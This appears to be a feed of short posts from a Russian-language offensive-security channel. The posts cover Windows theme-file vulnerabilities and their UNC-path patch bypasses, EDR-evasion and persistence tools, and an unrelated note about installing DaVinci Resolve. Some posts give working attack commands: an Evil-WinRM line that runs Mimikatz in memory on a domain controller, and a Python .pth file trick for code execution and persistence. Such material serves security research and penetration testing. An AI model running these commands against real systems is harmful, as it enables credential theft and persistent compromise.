Windows Theme Spoofing

В Windows существуют специальные файлы тем с одноименным расширением .themes. Они позволяют кастомизировать систему, применяя новые раскраски, цветовые палитры, шрифты и обои. В 2023 году вышел POC на уязвимость themebleed (POC2), которая как-то не была оценена по достоинству.

Фактически, это был Built-In Loader. Все основывалось на том, что Explorer.exe, обнаруживая в файле темы специальную ссылку на файл стилей (msstyles) , осуществит удаленную загрузку DLL с именем, оканчивающемся на _vrf.dll. Была, конечно, осуществлена проверка подписи, но эту проверку обошли с помощью атаки TOCTOU (Time of Check - Time of Use). При первом обращении на подконтрольный атакующему SMB-сервер происходила передача легитимной библиотеки DLL для осуществления проверок подписи, однако за первым запросом следовал второй (после успешной проверки), на который уже отдавалась вредоносная библиотека.

На этом исследования Windows Themes не закончились и обнаружилась новая уязвимость — утечка NetNTLM-хеша без необходимости открытия файла тем. Достаточно было зайти в папку с правильно сгенерированным файлом и хеш был в наших руках. Язве был назначен идентификатор CVE-2024-21320, а POC можно найти тут.

Эти две уязвимости могут отлично работать в чейне с Smuggling-техниками.

Патч на CVE-2024-21320 заключался во внедрении проверки на UNC путь функцией PathIsUnc() — если путь был на сетевую шару, то Explorer.exe не пытался подгрузить файлы для файла темы. Однако исследователи нашли способ обхода (благодаря статье Google Project Zero), указав UNC Path в ином формате: \??\UNC\ip\share.

Так родилась CVE-2024-38030, подробного ее разбора не было, но появился POC.

MS чуть исправила функцию и, казалось бы, на этом все, однако, приключения не закончились, и появилась CVE-2025-21308. На нее пока нет ни разбора, ни POCа, но что-то мне подсказывает, что вновь появился способ обхода проверки на UNC путь :)

Хочу поделиться с вами новостью: я столкнулся с проблемой установки DaVinci Resolve на Kali Linux. 😅

Но есть и хорошие новости! Я наконец-то обновил свое оборудование и принял решение полностью перейти на Linux. 💻🐧

Я потратил около 3 ночей, пытаясь заставить работать DaVinci Resolve на моем новом ноутбуке. Наверное, так бы и не нашел решение, если бы не решил обратиться за помощью к нескольким замечательным людям: Лолечка, Банер и v1mkss.

Я очень благодарен этим людям за поддержку! Единственное, что только один из них не является участником нашего сервера, а сервера Банера. 🤔
--> https://discord.gg/BRRdKVz2zK (небольшая реклама) 📢

И вот, наконец, я смог запустить DaVinci Resolve! 🥳

Надеюсь, что больше не столкнусь с проблемами. 🤞

Спасибо всем за помощь! 🍷

🔗Ссылка:
https://opennet.ru/62585/

🔗Ссылка:
https://habr.com/ru/articles/861616/

Используйте законный драйвер вызова WFP для предотвращения отправки телеметрии агентами EDR

🔗Ссылка:
https://github.com/senzee1984/EDRPrison

Наш Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈

🔗Ссылка:
https://habr.com/ru/news/874356/

🔗Ссылка:
https://habr.com/ru/companies/f_a_c_c_t/news/874046/

🔗Ссылка:
https://opennet.ru/62587/

Век живи - век учись...

Интересный встроенный функционал #Evil-WinRM узнал недавно изучая очередной «индусский» курс.

Суть в то, что у Evil-WinRM есть встроенный тулсет доступный через menu.

И есть например - функция Invoke-Mimikatz которая позволяет загружать и выполнять утилиту Mimikatz непосредственно в памяти целевой системы, что снижает вероятность обнаружения антивирусными средствами.

А еще, он поддерживает переменные при выполнении команд, и если нам нужно исполнить скрипт или еще что-то не на целевой заовненной системе, а за ее пределами, например на контроллере домена, без необходимости пробрасывания туннельки - мы можем использовать это для выполнения наших команд безтельно (в памяти).

На примере ниже - исполнение мимикатза из памяти на контролле домена DC через WinRM сессию с пользовательского хоста

*Evil-WinRM* PS UserHost#> Invoke-Command -computername dc.intranet.poo -scriptblock ${function:Invoke-Mimikatz} -credential $cred

PANIX - это мощная, модульная и легко настраиваемая платформа сохранения данных Linux, предназначенная для исследователей безопасности, инженеров по обнаружению, тестировщиков на проникновение, энтузиастов CTF и многих других. Созданная с учетом универсальности, PANIX делает упор на функциональность, что делает ее незаменимым инструментом для понимания и внедрения широкого спектра методов сохранения данных.

🔗Ссылка:
https://github.com/Aegrah/PANIX

Code execution via Site-Specific Configuration Hooks

В статейке нашел очень интересный метод эксплуатации File write to RCE в Python за счет использования функционала site-specific configuration hooks. (Он конечно не новый, но мне показалось очень интересным)

Чтобы получить исполнение необходимо:
1. Записать python код начинающийся с import или import\t в ~/.local/lib/pythonX.Y/site-packages/arb_name.pth с расширением .pth

user@host:~$ echo 'import os;os.system("whoami>/tmp/x")' > .local/lib/python3.12/site-packages/arbitrary_name.pth

2. И при пораждении нового процесса питона выполниться код

user@host:~$ python3
>>> CTRL + D
user@host:~$ cat /tmp/x
user

Подробнее

P.S. Persistence также возможен, так как код исполняется при каждом запуске питона

#web #python #RCE

Скрипт Nmap, который сканирует возможные уязвимости на основе сервисов, обнаруженных в открытых портах.

🔗Ссылка:
https://github.com/scmanjarrez/CVEScannerV2

🔗Ссылка:
https://www.securitylab.ru/news/555628.php

🔗Ссылка:
https://habr.com/ru/companies/ruvds/articles/648241/